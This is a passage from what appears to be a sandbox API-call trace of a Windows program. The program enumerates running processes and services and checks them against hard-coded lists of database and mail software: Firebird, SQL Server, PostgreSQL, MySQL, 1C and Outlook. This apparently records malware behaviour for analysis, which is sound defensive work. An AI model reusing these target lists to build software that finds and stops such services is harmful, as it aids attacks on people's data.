th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0251.022] lstrlenW (lpString="explorer.exe") returned 12 [0251.022] Process32NextW (in: hSnapshot=0x3b4, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0251.023] lstrlenW (lpString="dwm.exe") returned 7 [0251.023] Process32NextW (in: hSnapshot=0x3b4, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.024] lstrlenW (lpString="svchost.exe") returned 11 [0251.024] Process32NextW (in: hSnapshot=0x3b4, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0251.025] lstrlenW (lpString="winhost.exe") returned 11 [0251.026] Process32NextW (in: hSnapshot=0x3b4, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0251.026] lstrlenW (lpString="spoolsv.exe") returned 11 [0251.026] Process32NextW (in: hSnapshot=0x3b4, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.027] lstrlenW (lpString="svchost.exe") returned 11 [0251.028] Process32NextW (in: hSnapshot=0x3b4, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0251.029] lstrlenW (lpString="taskhost.exe") returned 12 [0251.029] Process32NextW (in: hSnapshot=0x3b4, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0251.030] lstrlenW (lpString="reader_sl.exe") returned 13 [0251.031] Process32NextW (in: hSnapshot=0x3b4, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0 [0251.032] CloseHandle (hObject=0x3b4) returned 1 [0251.032] Sleep (dwMilliseconds=0x1f4) [0251.687] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x62e4f0 [0251.689] EnumServicesStatusExW (in: hSCManager=0x62e4f0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0) returned 0 [0251.690] GetLastError () returned 0xea [0251.690] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x113e) returned 0x42e5000 [0251.690] EnumServicesStatusExW (in: hSCManager=0x62e4f0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x42e5000, cbBufSize=0x113e, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x42e5000, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0) returned 1 [0251.693] CloseServiceHandle (hSCObject=0x62e4f0) returned 1 [0251.693] lstrlenW (lpString="Appinfo") returned 7 [0251.693] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0251.694] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0251.694] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0251.694] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0251.694] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0251.694] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0251.694] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0251.694] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0251.694] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0251.694] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0251.694] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0251.694] lstrlenW (lpString="AudioSrv") returned 8 [0251.694] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0251.694] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0251.694] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0251.694] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0251.695] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0251.695] lstrlenW (lpString="BFE") returned 3 [0251.695] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0251.695] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0251.695] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0251.695] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0251.695] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0251.695] lstrlenW (lpString="CryptSvc") returned 8 [0251.695] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0251.695] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0251.695] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0251.695] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0251.695] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0251.696] lstrlenW (lpString="CscService") returned 10 [0251.696] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0251.696] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0251.696] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0251.696] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0251.696] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0251.696] lstrlenW (lpString="DcomLaunch") returned 10 [0251.696] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0251.696] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0251.696] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0251.696] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0251.696] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0251.696] lstrlenW (lpString="Dhcp") returned 4 [0251.696] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0251.697] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0251.697] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0251.697] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0251.697] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0251.697] lstrlenW (lpString="Dnscache") returned 8 [0251.697] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0251.697] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0251.697] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0251.697] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0251.697] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0251.697] lstrlenW (lpString="DPS") returned 3 [0251.697] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0251.697] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0251.697] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0251.698] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0251.698] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0251.698] lstrlenW (lpString="eventlog") returned 8 [0251.698] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0251.698] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0251.698] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0251.698] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0251.698] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0251.698] lstrlenW (lpString="EventSystem") returned 11 [0251.698] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0251.698] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0251.698] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0251.698] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0251.699] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0251.699] lstrlenW (lpString="gpsvc") returned 5 [0251.699] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0251.699] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0251.699] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0251.699] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0251.699] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0251.699] lstrlenW (lpString="iphlpsvc") returned 8 [0251.699] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0251.699] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0251.699] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0251.699] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0251.699] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0251.699] lstrlenW (lpString="LanmanServer") returned 12 [0251.699] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0251.700] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0251.700] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0251.700] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0251.700] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0251.700] lstrlenW (lpString="LanmanWorkstation") returned 17 [0251.700] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0251.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0251.701] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0251.701] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0251.701] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0251.701] lstrlenW (lpString="lmhosts") returned 7 [0251.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0251.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0251.701] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0251.701] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0251.701] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0251.701] lstrlenW (lpString="MMCSS") returned 5 [0251.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0251.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0251.701] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0251.701] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0251.702] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0251.702] lstrlenW (lpString="MpsSvc") returned 6 [0251.702] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0251.702] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0251.702] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0251.702] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0251.702] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0251.702] lstrlenW (lpString="Netman") returned 6 [0251.702] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0251.702] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0251.702] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0251.702] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0251.702] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0251.703] lstrlenW (lpString="netprofm") returned 8 [0251.703] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0251.703] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0251.703] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0251.703] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0251.703] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0251.703] lstrlenW (lpString="NlaSvc") returned 6 [0251.703] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0251.703] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0251.703] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0251.703] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0251.703] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0251.703] lstrlenW (lpString="nsi") returned 3 [0251.704] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0251.704] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0251.704] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0251.704] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0251.704] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0251.704] lstrlenW (lpString="PcaSvc") returned 6 [0251.704] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0251.704] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0251.704] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0251.704] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0251.704] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0251.704] lstrlenW (lpString="PlugPlay") returned 8 [0251.704] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0251.705] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0251.705] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0251.705] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0251.705] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0251.705] lstrlenW (lpString="Power") returned 5 [0251.705] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0251.705] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0251.705] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0251.705] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0251.705] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0251.705] lstrlenW (lpString="ProfSvc") returned 7 [0251.706] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0251.706] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0251.706] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0251.706] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0251.706] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0251.706] lstrlenW (lpString="RpcEptMapper") returned 12 [0251.706] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0251.706] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0251.706] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0251.706] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0251.706] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0251.706] lstrlenW (lpString="RpcSs") returned 5 [0251.706] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0251.707] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0251.707] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0251.707] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0251.707] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0251.707] lstrlenW (lpString="SamSs") returned 5 [0251.707] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0251.707] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0251.707] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0251.707] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0251.707] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0251.707] lstrlenW (lpString="Schedule") returned 8 [0251.707] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0251.707] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0251.707] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0251.707] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0251.707] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0251.707] lstrlenW (lpString="SENS") returned 4 [0251.708] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0251.708] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0251.708] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0251.708] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0251.708] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0251.708] lstrlenW (lpString="ShellHWDetection") returned 16 [0251.708] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0251.708] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0251.708] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0251.708] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0251.708] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0251.708] lstrlenW (lpString="Spooler") returned 7 [0251.708] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0251.708] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0251.708] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0251.709] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0251.709] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0251.709] lstrlenW (lpString="SysMain") returned 7 [0251.709] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0251.709] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0251.709] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0251.709] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0251.709] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0251.709] lstrlenW (lpString="Themes") returned 6 [0251.709] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0251.709] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0251.709] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0251.709] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0251.710] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0251.710] lstrlenW (lpString="TrkWks") returned 6 [0251.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0251.710] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0251.710] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0251.710] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0251.710] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0251.710] lstrlenW (lpString="UxSms") returned 5 [0251.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0251.710] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0251.710] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0251.710] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0251.710] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0251.711] lstrlenW (lpString="WdiServiceHost") returned 14 [0251.711] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0251.711] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0251.711] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0251.711] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0251.711] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0251.711] lstrlenW (lpString="WdiSystemHost") returned 13 [0251.711] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0251.711] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0251.711] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0251.711] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0251.711] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0251.711] lstrlenW (lpString="Winmgmt") returned 7 [0251.711] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0251.712] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0251.712] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0251.712] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0251.712] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0251.712] lstrlenW (lpString="WPDBusEnum") returned 10 [0251.712] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0251.712] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0251.712] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0251.712] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0251.712] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0251.712] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x42e5000 | out: hHeap=0x590000) returned 1 [0251.712] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x354 [0251.717] Process32FirstW (in: hSnapshot=0x354, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0251.718] Process32NextW (in: hSnapshot=0x354, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0251.719] lstrlenW (lpString="System") returned 6 [0251.719] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0251.719] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0251.719] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0251.719] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0251.719] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0251.719] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0251.719] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0251.719] Process32NextW (in: hSnapshot=0x354, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0251.720] lstrlenW (lpString="smss.exe") returned 8 [0251.720] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0251.720] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0251.720] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0251.720] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0251.720] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0251.720] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0251.720] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0251.720] Process32NextW (in: hSnapshot=0x354, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, 